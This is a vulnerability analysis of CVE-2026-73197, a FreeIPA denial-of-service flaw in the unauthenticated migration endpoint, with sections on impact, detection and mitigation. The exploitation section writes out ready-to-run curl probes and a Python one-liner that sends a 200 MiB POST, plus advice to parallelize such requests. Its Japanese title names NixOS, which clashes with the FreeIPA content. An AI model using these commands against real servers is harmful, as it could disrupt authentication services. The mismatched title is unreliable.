CVE-2026-73197: 
NixOS 脆弱性の分析と軽減

CVE-2026-73197 is a denial-of-service vulnerability in FreeIPA caused by unbounded request body reads in the /ipa/migration/migration.py WSGI endpoint. A remote, unauthenticated attacker can send oversized form POST requests to force the migration handler to read attacker-controlled data fully into memory, leading to memory exhaustion and service disruption. It affects FreeIPA versions prior to 4.13.3 and Red Hat Enterprise Linux versions 6, 7, 8, 9, and 10. Disclosed on August 20, 2026, it carries a CVSS v3.1 base score of 7.5 (High) (Red Hat Advisory, Github Advisory).

The root cause is CWE-770 (Allocation of Resources Without Limits or Throttling). The vulnerable WSGI handler in install/migration/migration.py reads the full request body into memory based on the attacker-supplied CONTENT_LENGTH header without imposing any application-level size cap before the read operation. The shipped Apache configuration exposes the /ipa/migration endpoint without authentication (Require all granted), making it reachable by any network client. Exploitation requires only network access to the endpoint and the ability to send large application/x-www-form-urlencoded POST requests — no credentials or special preconditions are needed (Red Hat Bugzilla).

Successful exploitation results in high availability impact against the FreeIPA service: WSGI worker memory pressure increases, request handling slows, and workers may be recycled or fail, causing service disruption or denial of service. There is no confidentiality or integrity impact — attackers cannot read data or modify system state through this vulnerability. In environments where FreeIPA serves as a central identity and authentication provider, sustained exploitation could disrupt authentication services for dependent systems (Red Hat Advisory, Red Hat Bugzilla).

No public exploit code or active in-the-wild exploitation has been reported as of the disclosure date. The vulnerability is classified as automatable (no user interaction required) with a low attack complexity, making it straightforward to exploit at scale. The EPSS score is approximately 0.35%, indicating a low near-term exploitation probability. No threat actor attribution or CISA KEV catalog listing has been identified (Github Advisory, Red Hat Advisory).

1. Reconnaissance: Identify FreeIPA servers with the /ipa/migration endpoint exposed, using tools like Shodan, Censys, or direct HTTP probing (e.g., curl -k -i https://<target>/ipa/migration/migration.py).
2. Confirm unauthenticated access: Send a small test POST request to verify the endpoint responds without requiring credentials: curl -k -i https://<target>/ipa/migration/migration.py -X POST -H 'Content-Type: application/x-www-form-urlencoded' --data 'username=a&password=b'.
3. Send oversized POST body: Craft and send a large application/x-www-form-urlencoded POST request with a body sized to exhaust worker memory (e.g., 200 MiB): python3 -c "import requests; u='https://<target>/ipa/migration/migration.py'; d='username=a&password='+'A'*(200*1024*1024); print(requests.post(u,data=d,headers={'Content-Type':'application/x-www-form-urlencoded'},verify=False,timeout=120).status_code)".
4. Repeat or parallelize: Send multiple concurrent oversized requests from one or more clients to amplify memory pressure and accelerate worker exhaustion.
5. Observe impact: Monitor for increased httpd/WSGI worker RSS, slower response times, worker recycling, or full service unavailability on the target FreeIPA server (Red Hat Bugzilla).

• Network: Unusually large HTTP POST requests (hundreds of MiB) to /ipa/migration/migration.py or /ipa/migration/ from external or unexpected source IPs; high volume of POST requests to the migration endpoint in a short time window.
• Logs: Apache/httpd access logs showing repeated large Content-Length values in POST requests to /ipa/migration/migration.py; error logs showing WSGI worker restarts or memory-related failures.
• Process: Elevated RSS/memory usage on httpd or WSGI worker processes; frequent worker recycling events visible in systemd journal or Apache error logs.
• System: Sudden spikes in system memory consumption correlated with incoming requests to the migration endpoint; OOM killer events in /var/log/messages or dmesg output (Red Hat Bugzilla).

The fix is included in FreeIPA version 4.13.3 and later — organizations should upgrade to this version or a patched downstream package. As an immediate workaround, if the /ipa/migration endpoint is not required, disable it by commenting out the Alias /ipa/migration directive and its corresponding <Location> block in /etc/httpd/conf.d/ipa.conf. If the endpoint must remain active, add a LimitRequestBody 1048576 directive (1 MiB) within the migration endpoint's <Location> block to reject oversized bodies before they reach the WSGI handler. After any Apache configuration change, reload or restart httpd to apply the changes (Red Hat Advisory, Red Hat Bugzilla).

Red Hat credited AISLE Research for discovering and reporting this vulnerability. The issue was noted on Mastodon by security community accounts including TheHackerWire and RedPacketSecurity shortly after disclosure. Coverage was also picked up by the German Linux security news site pro-linux.de as part of a broader FreeIPA security roundup (Red Hat Advisory).